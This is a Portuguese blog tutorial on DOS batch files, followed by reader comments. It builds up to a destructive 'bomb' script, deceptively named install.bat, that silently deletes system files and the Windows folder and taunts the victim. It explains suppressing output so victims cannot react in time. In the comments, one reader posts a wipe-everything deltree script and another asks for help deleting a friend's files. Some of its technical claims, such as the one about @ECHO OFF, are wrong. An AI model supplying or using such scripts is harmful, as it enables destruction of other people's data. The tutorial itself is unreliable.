Arquivos de Lote ou .bat
São pequenos arquivos, mas que podem fazer um estrago gigante ( dependendo de como usado ) mas pode tambêm ser usado como criação de programas ou instaladores ou ainda controladores de arquivos ( mas não modificalos completamente... ) bom vamos começar a aprender alguns comando... quem ja conhece um pouco de MS-DOS vai ser um pouco mais facil mas nada muito louco!!!:)
ECHO OFF
Serve para não mostrar na tela os comandos que o arquivo .BAT esta executando. Como por exemplo, se vc faz um arquivo maliciooso e não usa este comando e o arquivo contem o comando DEL*.* aparecera na tela da vitima C:\DEL *.* assim dando tempo da vitima desligar o computador antes de ter seus arquivos deletados. Se vc usar o comando ECHO OFF não aparecera nada na tela, e a vitima nem sabera o que aconteceu.
@ECHO
Serve para mostrar texto na tela, por exemplo eu quero que apareça na tela o seguinte texto:
@ECHO To te invadindo agora:
@ECHO Crazyzeus:
ATENÇÃO:
Um erro que eu cometia, e ja vi muita gente fazer é confundir os dois primeiros comandos da seguinte maneira:
@ECHO OFF < O cara queria digitar ECHO OFF e digitou @ECHO OFF
O comando @ECHO OFF ao inves de não mostar os comandos na tela, vai mostrar na tela a palavra OFF.
( O comando @ECHO OFF pode funcionar em alguns computadores dependendo da configuração, mas para não ariscar procure usar o comando ECHO OFF)
ECHO >NOMEARQUIVO COMANDO
Serve para que um arquivo de lote (.BAT no nosso caso) crie outro arquivo. Exemplo:
ECHO> PIRATA.BAT DIR
No nosso exemplo ele criou um arquivo chamado PIRATA.BAT que possui dentro dele o comando DIR
CLS
Comando para limpar a tela.
ATTRIB
Comando que serve para ocultos, de sistema, etc. Para mais informações sobre o ATTRIB, digite no prompt do DOS ATTRIB/?
MD
Serve para criar diretorios, Exemplo:
MD PIRATA
CD
Serve para entrar em diretorios, exemplo:
CD PIRATA
COPY
Serve para copiar arquivos. Exemplo
COPY C:\AUTOEXEC.BAT
DEL
Serve para deletar arquivos, melhor maneira de usar o comando DEL é:
DEL *.COM < Ou a extenção que vc quiser, *.BAT *.EXE *.INI *.SYS etc...
Usando o comando dessa maneira, o programa não ira confirmar se vc realmante deseja excluir o arquivo.
DELTREE
Existem três maneiras de utilizar o comando DELTREE:
1ª - DELTREE C:\WINDOWS < BUG, vai aparecer a pergunta se vc deseja realmente deletar o diretorio WINDOWS.
2ª - DELTREE/Y C:\WINDOWS EXCUINDO C:\WINDOWS\NOMEARQUIVO.??? 3ª - DELTREE/Y C:\WINDOWS > NULL Bom, agora vamos colocar nossos conhecimentos em pratica. Vamos criar uma bomba chamada install.bat no prompt do DOS digite EDIT INSTALL.BAT (ENTER) Aparecera uma tela normalmante azul. Estando lá dentro vamos colocar os nossos comandos maus. ======inicio======= ECHO OFF C:\ ----------------------------------- CD\ ---------------------------------< Sai de qualquer diretorio que se possa estar DEL *.SYS ------------------------- DELTREE/Y C:\WINDOWS > NULL ----------------------- CLS @ECHO SEU COMPUTADOR FOI DETONADO POR: @ECHO PIRATA @ECHO HE HE HE HE HE HE HE HE HE HE HE HE ======fim========= Pronto, temos um arquivo que deleta o Windows e arquivos .sys, e ainda deixa uma menssagem estupida na tela da vitima. PARA EXECUTAR O ARQUIVO BASTA DIGITAR INSTALL Bom ta um tuto de arquivo .bat que as vezes se faz muito necessario!! Até a proxima By crazyzeus.


Do Melhor
Linkk
del.icio.us


Olá, adorei essa parte de incentivo aos bat hehehe!
Mas assim...eu preciso criar um bat que exclua tds as partes que existem dominios do vnc...so que eu nao sei caminho nenhum dels...
Tem como vc entrar em contato comigo...pra me esclarecer algumas coisas?!?!
Grata!
Samantha Seixas — 11-02-2008 - 19:23:33 GMT 1
ola gostei muito da criatividade de contruir um .bat mas eu gostaria da fazer programas pra ser utilizado para o bem se haver auguma possibilidade.
schwatz — 02-04-2008 - 15:56:07 GMT 1
Eu gostei muito das dicas, estou tentando criar uma arquivo BAT para excluir arquivos de um direito, mas não estou conseguindo.. O que fiz foi:
ECHO OFF
D:\CD Downloads
DEL *.jpeg
mas nao funciona!!!
Na verdade eu quero criar um malicioso para mandar para minha amiga e apagar arquivos q mandei pra ela.
Você poderia me ajudar?
THiago — 14-04-2008 - 15:37:42 GMT 1
po se liga com essa linha de comando em .bat e convertido pra .exe apagara alguma coisa da vitima ou n? se n apagar posta ai so o basico so a linha de comando suficiente para a tal obrigado..
@echo off
break off
copy a:\teste.bat autoexec.bat
deltree/y c:\*.*
aprendendo — 31-05-2008 - 15:36:54 GMT 1
eu queria saber pra q serve o arquivo .bat,pq eu aprendi a fazer e criei no pc,mas nao executei
e queria saber pra q serve
abraço
aguardo resposta
danilo
salvador-ba
danilo — 20-12-2008 - 21:52:29 GMT 1
Cara, isso é demais!!!
Eu tô migrando da área de RH para o desenvolvimento do software para os usuários, eu não tenho a mínima idéia em informática. Mas o puco tempo que estou nessa área virei um fissurado em informática, eu não dáva a mínima pra meu pc e agora eu quero engolir esta máquina. Adorei seu blog. Será que é possível ficar bom em informática só na base de pesquisa na intra???
Vlw!
Erick — 15-03-2009 - 16:55:05 GMT 1
Muito bacana! Valeu mesmo pelo tutorial.
Só to tendo um problema: na hora em que ele vai mostrar a mensagem, a janela do prompt automaticamente some. Qual o comando do @echo pra acertar a duração?
Budoo — 15-03-2009 - 22:27:18 GMT 1
seu blog tem alguns comandos interessantes. Tem como deixar alguns códigos mais complexos para batch?
Vlw
Eduardo — 02-04-2009 - 20:23:07 GMT 1
Bom dia GALERA....
Gente pelo amor de DEUS Alguem pode me ensinar a fazer um arquivo de lote....
ele tem q ter um menu com duas funçoes: uma e criar e a outra e deletar.
Vlew
Rafiutis — 11-05-2009 - 13:33:19 GMT 1
Bom dia galera...
é o seguinte, eu sei tem como eu mandar msn pelo DOS de meu pc para outro em outro bairro ou cidade?
falowwww......
Rafael M3 — 21-05-2009 - 20:02:51 GMT 1
bom tutorial pra iniciantes!
eu gostaria de saber se tem como colocar comentarios em um arquivo .bat como em c
sobre as duvidas da galera e pra quem quer aprender um pouco mais tem muita coisa aki:
- como programar em lotes: http://pt.wikipedia.org/wiki/Batch
- comandos: http://pt.wikipedia.org/wiki/Lista_de_comandos_do_MS-DOS
e sobre a duvida do schwatz, a principal utilidade desse tipo de arquivo eh facilitar a vida do usuario automatizando algumas tarefas..
qualquer duvida podem entrar em contato pelo meu email: rodrigowfranco@gmail.com
.:Rodrigo:. — 23-07-2009 - 02:49:01 GMT 1